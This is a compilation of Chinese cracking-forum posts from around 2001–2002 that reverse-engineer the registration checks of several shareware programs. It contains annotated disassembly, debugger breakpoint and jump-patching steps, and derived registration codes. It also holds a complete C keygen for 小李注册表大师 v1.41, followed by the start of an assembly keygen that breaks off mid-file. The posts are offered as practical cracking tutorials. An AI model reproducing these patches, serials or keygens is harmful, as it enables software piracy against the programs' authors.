:00506857 E8ACDBEFFF call 00404408
:0050685C 8B55B0 mov edx, dword ptr [ebp-50]
:0050685F 58 pop eax
:00506860 E8ABDAEFFF call 00404310 //序列号倒数第 3 位等于 "G" 吗
:00506865 0F85A0000000 jne 0050690B　　　 　　//不等则错
:0050686B 8D45AC lea eax, dword ptr [ebp-54]
:0050686E 50 push eax
:0050686F 8D55A8 lea edx, dword ptr [ebp-58]
:00506872 8B8604030000 mov eax, dword ptr [esi+00000304]
:00506878 E8CBF9F2FF call 00436248
:0050687D 8B45A8 mov eax, dword ptr [ebp-58]
:00506880 B901000000 mov ecx, 00000001
:00506885 BA02000000 mov edx, 00000002
:0050688A E879DBEFFF call 00404408
:0050688F 8B45AC mov eax, dword ptr [ebp-54]
:00506892 50 push eax
:00506893 8D45A4 lea eax, dword ptr [ebp-5C]
:00506896 50 push eax
:00506897 8B45F8 mov eax, dword ptr [ebp-08]
:0050689A E861D9EFFF call 00404200
:0050689F 8BD0 mov edx, eax
:005068A1 4A dec edx
:005068A2 B901000000 mov ecx, 00000001
:005068A7 8B45F8 mov eax, dword ptr [ebp-08]
:005068AA E859DBEFFF call 00404408
:005068AF 8B55A4 mov edx, dword ptr [ebp-5C]
:005068B2 58 pop eax
:005068B3 E858DAEFFF call 00404310 //序列号倒数第 2 位等于 "J" 吗
:005068B8 7551 jne 0050690B　　　　　//不等则错
:005068BA 8D45A0 lea eax, dword ptr [ebp-60]
:005068BD 50 push eax
:005068BE 8D559C lea edx, dword ptr [ebp-64]
:005068C1 8B86F8020000 mov eax, dword ptr [esi+000002F8]
:005068C7 E87CF9F2FF call 00436248
:005068CC 8B459C mov eax, dword ptr [ebp-64]
:005068CF B901000000 mov ecx, 00000001
:005068D4 BA01000000 mov edx, 00000001
:005068D9 E82ADBEFFF call 00404408
:005068DE 8B45A0 mov eax, dword ptr [ebp-60]
:005068E1 50 push eax
:005068E2 8D4598 lea eax, dword ptr [ebp-68]
:005068E5 50 push eax
:005068E6 8B45F8 mov eax, dword ptr [ebp-08]
:005068E9 E812D9EFFF call 00404200
:005068EE 8BD0 mov edx, eax
:005068F0 83EA00 sub edx, 00000000
:005068F3 B901000000 mov ecx, 00000001
:005068F8 8B45F8 mov eax, dword ptr [ebp-08]
:005068FB E808DBEFFF call 00404408
:00506900 8B5598 mov edx, dword ptr [ebp-68]
:00506903 58 pop eax
:00506904 E807DAEFFF call 00404310 //序列号倒数第 1 位等于 "M" 吗
:00506909 7430 je 0050693B　　　　　//不等则错

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005067BB(C), :00506810(C), :00506865(C), :005068B8(C) //就是上面的四处验证
|
:0050690B 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"错误"
|
:0050690D B9A06A5000 mov ecx, 00506AA0

* Possible StringData Ref from Code Obj ->" 注 册 号 错 误! "
|
:00506912 BAA86A5000 mov edx, 00506AA8
:00506917 A188FD5100 mov eax, dword ptr [0051FD88]
:0050691C 8B00 mov eax, dword ptr [eax]
:0050691E E861E5F4FF call 00454E84
:00506923 A1F40A5200 mov eax, dword ptr [00520AF4]
:00506928 8B8010030000 mov eax, dword ptr [eax+00000310]
:0050692E 8B10 mov edx, dword ptr [eax]
:00506930 FF92B0000000 call dword ptr [edx+000000B0]
:00506936 E9A7000000 jmp 005069E2

    算法总结：为了叙述的方便，我用 S1,S2,S3...S16 分别指代注册码的 1 - 16 位。

序列号第 1 位＝S1
序列号第 3 位＝S6
序列号第 5 位＝S11
序列号第 7 位＝S16

序列号倒数第 4 位＝S4
序列号倒数第 3 位＝S7
序列号倒数第 2 位＝S10
序列号倒数第 1 位＝S13

    其余的可为任意字符或数字。

    这么简单的算法，写注册机应该非常容易吧，留给大家练练手吧。

如有错误，请多多批评指正。


网页下载专家

 标 题:我的第一篇破文，贴出来共同切磋提高。 (5千字)
发信人:音速刺猬
时 间:2002-1-1 13:39:00
详细信息:
《网页下载专家》破解

这是我从老光盘上找到的，现在早不知还有没有这个软件了。我在这里班门弄斧，望高手们看了以后不要笑的太大声。

点出注册窗口，先得到一个注册码（我的为7FN20LN;)。然后就用此码注册.
按CTRL-D进入SOFT-ICE（都说TRW好，可我试了八九个版本都死机，只好不用，其实两者基本上是一样的）。用万能断点bpx hmemcpy,返回程序后点“注册”，被SOFT-ICE拦住，一直按
F12 十二次（十三次就会跳出失败窗口）。这时汇编代码如下：

:00467FB4 8D55F8 lea edx, dword ptr [ebp-08]
:00467FB7 E860FEF9FF call 00407E1C
:00467FBC 8B45F8 mov eax, dword ptr [ebp-08]
:00467FBF 8D55FC lea edx, dword ptr [ebp-04]
:00467FC2 E861FFFFFF call 00467F28
:00467FC7 8B45FC mov eax, dword ptr [ebp-04]
:00467FCA 50 push eax
:00467FCB 8D45F8 lea eax, dword ptr [ebp-08]
:00467FCE E855EFFFFF call 00466F28
:00467FD3 8B55F8 mov edx, dword ptr [ebp-08]
:00467FD6 58 pop eax
:00467FD7 E858BDF9FF call 00403D34 ：关键CALL
:00467FDC 7570 jne 0046804E ：修改后便出现“注册成功”
:00467FDE BA03000080 mov edx, 80000003
:00467FE3 8BC3 mov eax, ebx
:00467FE5 E82263FEFF call 0044E30C
:00467FEA B101 mov cl, 01
:00467FEC BACC804600 mov edx, 004680CC
:00467FF1 8BC3 mov eax, ebx
:00467FF3 E87064FEFF call 0044E468
:00467FF8 8D55F4 lea edx, dword ptr [ebp-0C]
:00467FFB 8B86C8020000 mov eax, dword ptr [esi+000002C8]
:00468001 E8B663FCFF call 0042E3BC
:00468006 8B45F4 mov eax, dword ptr [ebp-0C]
:00468009 8D55FC lea edx, dword ptr [ebp-04]
:0046800C E817FFFFFF call 00467F28
:00468011 8B45FC mov eax, dword ptr [ebp-04]
:00468014 50 push eax

* Possible StringData Ref from Code Obj ->"StringTest"
|
:00468015 B918814600 mov ecx, 00468118

* Possible StringData Ref from Code Obj ->"CompletedModifications"
|
:0046801A BA2C814600 mov edx, 0046812C
:0046801F 8BC3 mov eax, ebx
:00468021 E8BE68FEFF call 0044E8E4
:00468026 8BC3 mov eax, ebx
:00468028 E8AF62FEFF call 0044E2DC
:0046802D 8BC3 mov eax, ebx
:0046802F E89CADF9FF call 00402DD0
:00468034 6A30 push 00000030

* Possible StringData Ref from Code Obj ->"注册成功"
|
:00468036 B944814600 mov ecx, 00468144

* Possible StringData Ref from Code Obj ->"注册成功"
|
:0046803B BA44814600 mov edx, 00468144
:00468040 A1A4DC4600 mov eax, dword ptr [0046DCA4]
:00468045 8B00 mov eax, dword ptr [eax]
:00468047 E8F421FEFF call 0044A240
:0046804C EB46 jmp 00468094

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00467FDC(C)
|
:0046804E 6A30 push 00000030
:00468050 8D55F4 lea edx, dword ptr [ebp-0C]
:00468053 8B86C8020000 mov eax, dword ptr [esi+000002C8]
:00468059 E85E63FCFF call 0042E3BC
:0046805E 8D45F4 lea eax, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"注册码错误"
|
:00468061 BA58814600 mov edx, 00468158
:00468066 E8C1BBF9FF call 00403C2C
:0046806B 8B45F4 mov eax, dword ptr [ebp-0C]
:0046806E E875BDF9FF call 00403DE8
:00468073 8BD0 mov edx, eax

* Possible StringData Ref from Code Obj ->"错误"
|
:00468075 B964814600 mov ecx, 00468164
:0046807A A1A4DC4600 mov eax, dword ptr [0046DCA4]
:0046807F 8B00 mov eax, dword ptr [eax]
:00468081 E8BA21FEFF call 0044A240 ：按F10到这个CALL就完蛋了。

向上看有没有能跳过这个CALL的地方：在0046804C有一句jmp 00468094但程序没有运行到。WHY？再向上看，有了！00467FDC 7570 jne 0046804E 就是它了。程序执行到此句时，下指令 r fl z （把不跳变跳，把跳变不跳），按F5返回，好，“注册成功”。先别高兴，通常仅仅这样是不行的。你看，这不还是“未注册版本”吗？

在467fd3处下d指令可以看到一串代码：5DL02NL9 一个合格Cracker这时应该能迅速发现它和那个本机码 7FN20LN; 有点关系。你能看出来吗？ 5 D L 0 2 N L 9
+2 +2 +2 +2 -2 -2 +2 +2 （这个其实没什么用）
7 F N 2 0 L N ;
再看其他几个值还有一个6GO31MO： 7 F N 2 0 L N ；
-1 +1 +1 +1 +1 +1 +1 -1
6 G O 3 1 M O ：
然后比较5DL02NL9和6GO31MO：.可见只要把5DL02NL9按-1+1的方法算回去就是注册码了。
5 D L 0 2 N L 9
-1 +1 +1 +1 +1 +1 +1 -1
4 E M 1 3 O M 8
注册码为:4EM13OM8

因为功力不够，看不懂那一堆运算，我破解一般都是暴破，很少有这样破解的。因此这样的得意之作一定要贴出来的。这是我的第一篇破文，给各位大哥看看，有什么错误之处，欢迎指正。祝中国所有Cracker元旦快乐！


文件密使2.6

 标 题:文件密使2.6注册码分析详解 (11千字)
发信人:[tieji]
时 间:2001-11-30 8:52:49
详细信息:
破解者：tieji
破解时间：2001-11-28
破解工具：TRW2000 V1.23 W32dasm黄金版
作者主页:http://www.wjmshome.com

启动软件，弹出注册框，填入注册信息：
注册名：caoxinyu
注册码：5432112345 <----随便填
打开TRW2000，下断点bpx hmemcpy，点确定，被拦下。
按F10来到：

:00413887 E816540000 Call 00418CA2
:0041388C 8D8E001B0000 lea ecx, dword ptr [esi+00001B00]
:00413892 E817C2FFFF call 0040FAAE <=====关键的call,分析比较注册码,跟进
:00413897 85C0 test eax, eax <=====eax是否为零
:00413899 751E jne 004138B9 <=====不为零,正确就跳[多经典!]
:0041389B 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"warning"
|
:0041389D 68C4614200 push 004261C4

* Possible StringData Ref from Data Obj ->"注册码错误，请重新输入"
|
:004138A2 6820784200 push 00427820
:004138A7 8BCB mov ecx, ebx

=============================================================================================
关键的cal:
* Referenced by a CALL at Addresses:
|:0040702B , :00413892
|
:0040FAAE B820B64100 mov eax, 0041B620

* Reference To: MSVCRT._EH_prolog, Ord:0042h
|
:0040FAB3 E858960000 Call 00419110
:0040FAB8 83EC2C sub esp, 0000002C <==== esp-0x2c
:0040FABB 56 push esi <==== 保存esi
:0040FABC 57 push edi <==== 保存edi
:0040FABD 8B7D08 mov edi, dword ptr [ebp+08] <==== 将ebp+08的内容传给edi,即将
用户名caoxinyu所在的地址传给edi
:0040FAC0 33F6 xor esi, esi <====esi清零
:0040FAC2 8975EC mov dword ptr [ebp-14], esi <====ebp-14处的内容清零
:0040FAC5 8B4FF8 mov ecx, dword ptr [edi-08] <====将用户名长度(本例为8)传给ecx
:0040FAC8 3BCE cmp ecx, esi <====比较用户名长度是否为零
:0040FACA 0F84AD000000 je 0040FB7D <====为零跳到0040FB7D (本例不为零不跳)
:0040FAD0 83F920 cmp ecx, 00000020 <====比较用户名长度是否为32位
:0040FAD3 7E03 jle 0040FAD8 <====小于32位就跳到0040FAD8
:0040FAD5 6A20 push 00000020 <====大于32位就将32给ecx
:0040FAD7 59 pop ecx <====既用户名长度截取前32位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FAD3(C)
|
:0040FAD8 3BCE cmp ecx, esi <====用户名长度与零比较
:0040FADA 7E13 jle 0040FAEF <====小于等于零就跳
:0040FADC 8D45C8 lea eax, dword ptr [ebp-38] <====eax装入ebp-38的地址
:0040FADF 2BF8 sub edi, eax <====edi-eax-->edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FAED(C)
|
:0040FAE1 8D4435C8 lea eax, dword ptr [ebp+esi-38] <====eax装入ebp+esi-38的地址
:0040FAE5 46 inc esi <====esi加1
:0040FAE6 3BF1 cmp esi, ecx <====esi与ecx用户名长度比较
:0040FAE8 8A1407 mov dl, byte ptr [edi+eax] <====将用户名的一个字母传给dl
:0040FAEB 8810 mov byte ptr [eax], dl <====将用户名的一个字母放入eax所
在的地址中
:0040FAED 7CF2 jl 0040FAE1 <====循环将用户名caoxinyu依次放到eax所指的地址中

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FADA(C) <====用户名长度小于等于零跳到这里
|
:0040FAEF 83F920 cmp ecx, 00000020 <==== 比较用户名长度是否为32位
:0040FAF2 53 push ebx <==== 保存ebx
:0040FAF3 7D2C jge 0040FB21 <==== 大于等于32位跳
:0040FAF5 8D7DC8 lea edi, dword ptr [ebp-38] <====edi装入ebp-38所指的内容
:0040FAF8 8D45C8 lea eax, dword ptr [ebp-38] <====eax装入ebp-38所指的内容
即将放有caoxinyu处的地址-->edi,eax
:0040FAFB 4F dec edi <====edi-1
:0040FAFC 2BC7 sub eax, edi <====eax-edi--->eax 即eax=0x1
:0040FAFE 8945F0 mov dword ptr [ebp-10], eax <====eax-->[ebp-10]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FB1F(C)
|
:0040FB01 8A1C0F mov bl, byte ptr [edi+ecx] <====将用户名的最后一个字母(本例为u)-->bl
:0040FB04 8D340F lea esi, dword ptr [edi+ecx]<====esi装入u所在的地址
:0040FB07 0FB6C3 movzx eax, bl <====将u放入eax
:0040FB0A 99 cdq <====双字节扩展 edx为00000000
:0040FB0B F7F9 idiv ecx <====除ecx 即0x75/0x8 即eax中为0xE,edx中为0x5
:0040FB0D 8BD0 mov edx, eax <====eax-->edx 即edx为0xE
:0040FB0F 8AC3 mov al, bl <====bl--->al 即al=0x75
:0040FB11 F6E9 imul cl <====乘cl 即0x75*0x8=0x3A8 --->eax
:0040FB13 02D0 add dl, al <====dl+al-->dl 即0xE+0xA8=0xB6-->dl
:0040FB15 8B45F0 mov eax, dword ptr [ebp-10] <====[ebp-10]--->eax=0x1
:0040FB18 41 inc ecx <====ecx+1
:0040FB19 83F920 cmp ecx, 00000020 <====ecx与32比较,即用户名长度是否到了32位
:0040FB1C 881430 mov byte ptr [eax+esi], dl <====将0xB6放到用户名的最后一个字母
"u"的后面
:0040FB1F 7CE0 jl 0040FB01 <====用户名长度是不到32位就循环

注:上面这个循环是将用户名不到32位的补齐到32位,以用户名为caoxinyu为例计算如下:
第一次循环:
0x75/0x8=0xE
0x75*0x8=0xA8 因用al寄存器计算,故0x3A8-->0xA8
0xE+0xA8=0xB6
将计算所得的0xB6接到用户名caoxinyu的后面,变为:63616F78696E7975B6
第二次循环:
0xB6/0x9=0x14
0xB6*0x9=0x66
0x14+0x66=0x7A
将计算所得的0x7A再接到用户名的后面,变为:63616F78696E7975B67A
如此经过32-8次循环,补齐到32位的用户名为:
63616F78696E7975B67AD0021839220000000000000000000000000000000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FAF3(C) <===========用户名长度大于等于32位跳到这里
|
:0040FB21 33F6 xor esi, esi <====esi清零
:0040FB23 8975F0 mov dword ptr [ebp-10], esi <====ebp-10处内容清零

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FB59(C)
| <======四次循环开始,为何是四次循环,见下面说明:
:0040FB26 8B45F0 mov eax, dword ptr [ebp-10] <====将ebp-10的内容-->eax
:0040FB29 806435E800 and byte ptr [ebp+esi-18], 00 <====和0x00与
:0040FB2E 8D4C35E8 lea ecx, dword ptr [ebp+esi-18]<====ebp+esi-18的地址-->ecx
:0040FB32 6A04 push 00000004 <====
:0040FB34 99 cdq <====双字节扩展
:0040FB35 5B pop ebx <====将0x4放入ebx
:0040FB36 33FF xor edi, edi <====edi清零
:0040FB38 F7FB idiv ebx <====eax/0x4
:0040FB3A 8A19 mov bl, byte ptr [ecx] <====bl=0
:0040FB3C 8D4405C8 lea eax, dword ptr [ebp+eax-38] <====将ebp+eax-38的地址-->eax
即ebp-38为用户名所在的地方,ebp+eax-38 就是用户名所在的地址+eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FB49(C)
|
:0040FB40 8A1438 mov dl, byte ptr [eax+edi] <====将eax+edi所在的内容-->dl
:0040FB43 32DA xor bl, dl <====bl^dl-->bl
:0040FB45 47 inc edi <====edi+1
:0040FB46 83FF08 cmp edi, 00000008 <====循环8次
:0040FB49 7CF5 jl 0040FB40
:0040FB4B 8345F020 add dword ptr [ebp-10], 00000020 <====加20
:0040FB4F 46 inc esi <====esi+1
:0040FB50 817DF080000000 cmp dword ptr [ebp-10], 00000080 <====与0x80比较
:0040FB57 8819 mov byte ptr [ecx], bl <====bl-->[ecx]
:0040FB59 7CCB jl 0040FB26 <====循环,因每次加20,加到80,所以循环四次

注:上面有两个循环,循环中套循环
因已得到32位的用户名16进制为:63616F78696E7975B67AD0021839220000000000000000000000000000000000
第一次循环:(第一个字母c , 16进制为:63)
0x63^0x61=0x2
0x2^0x6F=0x6D
如此循环8次最后得到0x1E
第二次循环:(第九个字母16进制为:B6)
0xB6^0x7A=0xCC
0xCC^0xD0=0x1C
如此循环8次最后得到0x1D
第三次循环:同理最后得到00
第四次循环:同理最后得到00
将四次循环所得的结果反过来看00001D1E即为正确的注册码,不过要将他转换为十进制数.

:0040FB5B 8B45EC mov eax, dword ptr [ebp-14] <====[ebp-14]-->eax
:0040FB5E 6A03 push 00000003 <====
:0040FB60 59 pop ecx <====3放入ecx
:0040FB61 5B pop ebx <====还原ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FB71(C)
|
:0040FB62 0FB6540DE8 movzx edx, byte ptr [ebp+ecx-18]
:0040FB67 03C2 add eax, edx <=====eax+edx-->eax
:0040FB69 85C9 test ecx, ecx
:0040FB6B 7406 je 0040FB73 <====ecx为零跳
:0040FB6D C1E008 shl eax, 08 <====左移8位
:0040FB70 49 dec ecx <====ecx-1
:0040FB71 79EF jns 0040FB62
<=====上面的循环将正确的注册码放入eax中

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FB6B(C)
|
:0040FB73 2B450C sub eax, dword ptr [ebp+0C] <====将eax中正确的注册码与输入的假
注册码相减
:0040FB76 F7D8 neg eax <====取eax二补码
:0040FB78 1BC0 sbb eax, eax <====借位减
:0040FB7A 40 inc eax <====eax+1 若为0表示注册码错误,0x1表示正确
:0040FB7B 8BF0 mov esi, eax <====eax-->esi 注册标记保存

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FACA(C) <====用户名长度为零跳到这里
|
:0040FB7D 834DFCFF or dword ptr [ebp-04], FFFFFFFF
:0040FB81 8D4D08 lea ecx, dword ptr [ebp+08]

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040FB84 E8E78F0000 Call 00418B70
:0040FB89 8B4DF4 mov ecx, dword ptr [ebp-0C]
:0040FB8C 8BC6 mov eax, esi <====esi--->eax 注册标记传给eax
:0040FB8E 5F pop edi
:0040FB8F 5E pop esi
:0040FB90 64890D00000000 mov dword ptr fs:[00000000], ecx
:0040FB97 C9 leave
:0040FB98 C20800 ret 0008

写得真累,希望能给初学者有帮助,也望各位大侠指教........


小李注册表大师 v1.41

 标 题:小李注册表大师 v1.41 注册算法分析－－献给 LILITH 和解密算法初学者 (10千字)
发信人:PaulYoung[CCG]
时 间:2001-11-9 19:09:59
详细信息:
小李注册表大师 v1.41 注册算法分析－－献给 LILITH 和解密算法初学者

作者：PaulYoung （ 属于 China Cracking Group ）
难度：0 级　（共分 10 级，0 级最易）
软件：小李注册表大师 v1.41
下载：http://www.csdn.net/soft/openfile.asp?kind=1&id=14499 ( 456 KB )
简介：看软件名就知道干啥用的了
工具：SoftICE V4.05
日期：2001.11.07

************************************************************************************************

    今天，“理你死”？？！！哦……不是，是“LILITH”（MM ?! 　:)~ No, 靓仔一名 :( ），在看雪论坛发篇关于小李注册表大师 v1.41 的注册码 D 注册码大法，可惜此兄太懒，不愿跟算法，无奈，就让我这个当师父的来代劳吧。
    这个软件是明码比较，非常傻瓜的那种，如何取注册码， LILITH 兄已经说得非常清楚了，在此我就省略那些无关枝节吧，重点分析它的注册算法。

    Let's Go!! 想学算法的 Cracker 们！

    为方便大家理解，以我的注册序列号" 1D6D-17E5 "和输入的用户名是" CCG "为例，说说这个软件的注册算法。跟踪法请看 LILITH 大侠的文章 :) 。

== 1 ==

* Possible StringData Ref from Code Obj ->"key"
|
:00490EF1 BAD4104900 mov edx, 004910D4
:00490EF6 E88562FEFF call 00477180
:00490EFB A1D4034A00 mov eax, dword ptr [004A03D4]
:00490F00 8B00 mov eax, dword ptr [eax]
:00490F02 E8D95BFEFF call 00476AE0
:00490F07 8D55E8 lea edx, dword ptr [ebp-18]
:00490F0A A1EC024A00 mov eax, dword ptr [004A02EC]
:00490F0F 8B00 mov eax, dword ptr [eax]
:00490F11 E88673F7FF call 0040829C //取序列号"1D6D-17E5"
:00490F16 8D45E8 lea eax, dword ptr [ebp-18]
:00490F19 50 push eax
:00490F1A 8D55E4 lea edx, dword ptr [ebp-1C]
:00490F1D 8B83DC020000 mov eax, dword ptr [ebx+000002DC]
:00490F23 E89403FAFF call 004312BC
:00490F28 8B55E4 mov edx, dword ptr [ebp-1C]
:00490F2B 58 pop eax
:00490F2C E8372EF7FF call 00403D68 //取用户名"CCG"
:00490F31 8B45E8 mov eax, dword ptr [ebp-18]
:00490F34 8D55EC lea edx, dword ptr [ebp-14]
:00490F37 E86875F7FF call 004084A4 //把序列号小写和用户名连成一串"1d6d-17e5CCG"
:00490F3C 8B55EC mov edx, dword ptr [ebp-14]
:00490F3F A174014A00 mov eax, dword ptr [004A0174]
:00490F44 8B00 mov eax, dword ptr [eax]
:00490F46 8B8064030000 mov eax, dword ptr [eax+00000364]
:00490F4C E8EB2DFEFF call 00473D3C //开始计算，F8跟进
:00490F51 8D45FC lea eax, dword ptr [ebp-04] //下面都是些老掉牙的东东，不用多说
:00490F54 8B1574014A00 mov edx, dword ptr [004A0174]
:00490F5A 8B12 mov edx, dword ptr [edx]
:00490F5C 8B9264030000 mov edx, dword ptr [edx+00000364]
:00490F62 8B524C mov edx, dword ptr [edx+4C]
:00490F65 E80E2CF7FF call 00403B78
:00490F6A 8D55E0 lea edx, dword ptr [ebp-20]
:00490F6D 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:00490F73 E84403FAFF call 004312BC
:00490F78 8B45E0 mov eax, dword ptr [ebp-20]
:00490F7B 8B55FC mov edx, dword ptr [ebp-04]
:00490F7E E8ED2EF7FF call 00403E70
:00490F83 7567 jne 00490FEC
:00490F85 8D55D8 lea edx, dword ptr [ebp-28]
:00490F88 8B83DC020000 mov eax, dword ptr [ebx+000002DC]
:00490F8E E82903FAFF call 004312BC
:00490F93 8B4DD8 mov ecx, dword ptr [ebp-28]
:00490F96 8D45DC lea eax, dword ptr [ebp-24]

* Possible StringData Ref from Code Obj ->"小李注册表大师已经注册给"
|
:00490F99 BAE0104900 mov edx, 004910E0

== 2 ==

:00473D3C 55 push ebp
:00473D3D 8BEC mov ebp, esp
:00473D3F 83C4F8 add esp, FFFFFFF8
:00473D42 53 push ebx
:00473D43 56 push esi
:00473D44 33C9 xor ecx, ecx
:00473D46 894DF8 mov dword ptr [ebp-08], ecx
:00473D49 8955FC mov dword ptr [ebp-04], edx
:00473D4C 8BD8 mov ebx, eax
:00473D4E 8B45FC mov eax, dword ptr [ebp-04]
:00473D51 E8BE01F9FF call 00403F14
:00473D56 33C0 xor eax, eax
:00473D58 55 push ebp
:00473D59 68E33D4700 push 00473DE3
:00473D5E 64FF30 push dword ptr fs:[eax]
:00473D61 648920 mov dword ptr fs:[eax], esp
:00473D64 33F6 xor esi, esi
:00473D66 8D4350 lea eax, dword ptr [ebx+50]
:00473D69 8B55FC mov edx, dword ptr [ebp-04]
:00473D6C E8C3FDF8FF call 00403B34
:00473D71 8B4350 mov eax, dword ptr [ebx+50]
:00473D74 E8E7FFF8FF call 00403D60 //取字符串"1d6d-17e5CCG"长度，保存到 eax
:00473D79 85C0 test eax, eax
:00473D7B 7E20 jle 00473D9D
:00473D7D 8B4350 mov eax, dword ptr [ebx+50]
:00473D80 E8DBFFF8FF call 00403D60 //取字符串"1d6d-17e5CCG"长度，保存到 eax
:00473D85 85C0 test eax, eax
:00473D87 7C14 jl 00473D9D
:00473D89 40 inc eax // eax+1 ，即字符串长度加1，就是下面的循环次数
:00473D8A 33D2 xor edx, edx // edx 初始值为 0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00473D9B(C)
|
:00473D8C 8B4B50 mov ecx, dword ptr [ebx+50] //载入字符串
:00473D8F 0FB64C11FF movzx ecx, byte ptr [ecx+edx-01] //依次取字符串以ASCII形式保存到 ecx ,第一次循环值为0
:00473D94 03F1 add esi, ecx //与上一次循环后得到的累加值相加
:00473D96 037354 add esi, dword ptr [ebx+54] //当前字符 ASCII 值 + 57791
:00473D99 42 inc edx // edx 递增
:00473D9A 48 dec eax // eax 即循环次数递减
:00473D9B 75EF jne 00473D8C // eax>0 ?未算完，继续吧…… :(

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00473D7B(C), :00473D87(C)
|
:00473D9D 8D55F8 lea edx, dword ptr [ebp-08]
:00473DA0 8BC6 mov eax, esi //把累加值"752094"放到 eax
:00473DA2 E87D48F9FF call 00408624
:00473DA7 FF7344 push [ebx+44]
:00473DAA FF75F8 push [ebp-08]
:00473DAD FF7348 push [ebx+48]
:00473DB0 8D45F8 lea eax, dword ptr [ebp-08]
:00473DB3 BA03000000 mov edx, 00000003 //把 edx 置值为3，即下面循环的次数
:00473DB8 E86300F9FF call 00403E20 //再次运算，F8进入
:00473DBD 8D434C lea eax, dword ptr [ebx+4C]

== 3 ==

:00403E20 53 push ebx
:00403E21 56 push esi
:00403E22 52 push edx
:00403E23 50 push eax
:00403E24 89D3 mov ebx, edx
:00403E26 31C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403E34(C)
|
:00403E28 8B4C9410 mov ecx, dword ptr [esp+4*edx+10] -----
:00403E2C 85C9 test ecx, ecx |
:00403E2E 7403 je 00403E33 |
:00403E30 0341FC add eax, dword ptr [ecx-04] |循环 3 次，
|在"752094"前后分别
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |加上"8" , "2"
|:00403E2E(C) |
| |
:00403E33 4A dec edx　　　 　//循环次数递减 |
:00403E34 75F2 jne 00403E28 -----------------------
:00403E36 E869FDFFFF call 00403BA4
:00403E3B 50 push eax
:00403E3C 89C6 mov esi, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403E53(C)
|
:00403E3E 8B449C14 mov eax, dword ptr [esp+4*ebx+14] -------------
:00403E42 89F2 mov edx, esi |
:00403E44 85C0 test eax, eax |
:00403E46 740A je 00403E52 |
:00403E48 8B48FC mov ecx, dword ptr [eax-04] |
:00403E4B 01CE add esi, ecx |再循环3次，
:00403E4D E8F6EAFFFF call 00402948 |检查注册码格式
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:00403E46(C) |
| |
:00403E52 4B dec ebx 　　//循环次数递减 |
:00403E53 75E9 jne 00403E3E-----------------------------------
:00403E55 5A pop edx
:00403E56 58 pop eax
:00403E57 85D2 test edx, edx
:00403E59 7403 je 00403E5E
:00403E5B FF4AF8 dec [edx-08]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403E59(C)
|
:00403E5E E8D1FCFFFF call 00403B34 //至此，正确的注册码已经生成！
:00403E63 5A pop edx
:00403E64 5E pop esi
:00403E65 5B pop ebx
:00403E66 58 pop eax
:00403E67 8D2494 lea esp, dword ptr [esp+4*edx]
:00403E6A FFE0 jmp eax
:00403E6C C3 ret

算法总结：
    1、软件取你的硬盘序列号并转换成十六进制，然后在中间加上"-"，作为你的注册序列号（此步可忽略）；
    2、将你的注册序列号转换成小写并与用户名组成一个字符串；
    3、将字符串的每个字符都转换成 ASCII ，并逐个循环与 57791 相加并将每次的值累加，循环次数是字符串长度加一，初次循环的累加值为 57791 ，直到取完所有字符为止，如以"1d6d-17e5CCG"为例，计算公式为：57791+(49+57791)+(100+57791)+(54+57791)+(100+57791)+(45+57791)+(49+57791)+(55+57791)+(101+57791)+(53+57791)+(67+57791)+(67+57791)+(71+57791)=(49+100+54+100+45+49+55+101+53+67+67+71)+(13*57791)=752094
    4、最后，再在752094前后分别加上8、2，变成 87520942 ，就是正确的序列号了。

    是不是好弱智？？？注册机就有劳伪装者[CCG]教大家如何写了，还有我，呵……

标 题:小李注册表大师 v1.41 注册机(TC) (497字)
发信人:8989
时 间:2001-11-10 9:40:17
详细信息:

小李注册表大师 v1.41 注册机(TC)
#include "stdio.h"
main()
{
unsigned char string[40],string1[20];
int i,c,b1,b2;
long d=0;
clrscr();
printf("******RegMaster 1.41********\nAuthor>> fpx.yeah.net\nYour ID : ");
gets(string1);
b1=strlen(string1);
for(i=0;(c=string1[i])!='\0';i++)
{if((c>64)&&(c<91)) {c=c+32;}
d+=c;}
printf("Your name:");
gets(string);
b2=strlen(string);
d+=(b1+b2+1)*57791;
printf("Your Code: ");
for(i=0;(c=string[i])!='\0';i++)
{d+=c;}
printf("8%ld2",d);
}

标 题:谢谢PaulYoung[CCG]大侠指点！我一定将它写得更长！刚才没有拜读大侠的大作，实是遗憾。拜读之后，豁然开朗... (6千字)
发信人:5,555
时 间:2001-11-11 8:21:01
详细信息:

标题: 谢谢PaulYoung[CCG]大侠指点！我一定将它写得更长！刚才没有拜读大侠的大作，实是遗憾。拜读之后，豁然开朗，于是又加上了自动获得ID的功能！

内容:
这个功能未加测试，本人没有这个软件，只是照本宣科，做了这个东东。假设ID是DOS命令VOL显示的硬盘序列号：）
这次变动主要是数据段加了几个定义，INIT处加了Call GetID，当然又加了一个GedID Proc啦。本人有个毛病，复制和粘贴往往点错，于是又在序列号框中发送了一个只读的消息，这样就不会“误贴”啦~~~~~~~~~~

.386
.model flat,stdcall
option casemap:none
include hd.h
_ProcDlg proto :DWORD,:DWORD,:DWORD,:DWORD

.data
NameLen dd 0
IDLen dd 0
IDSum dd 0
DecLen dd 0
InputOK dd 0
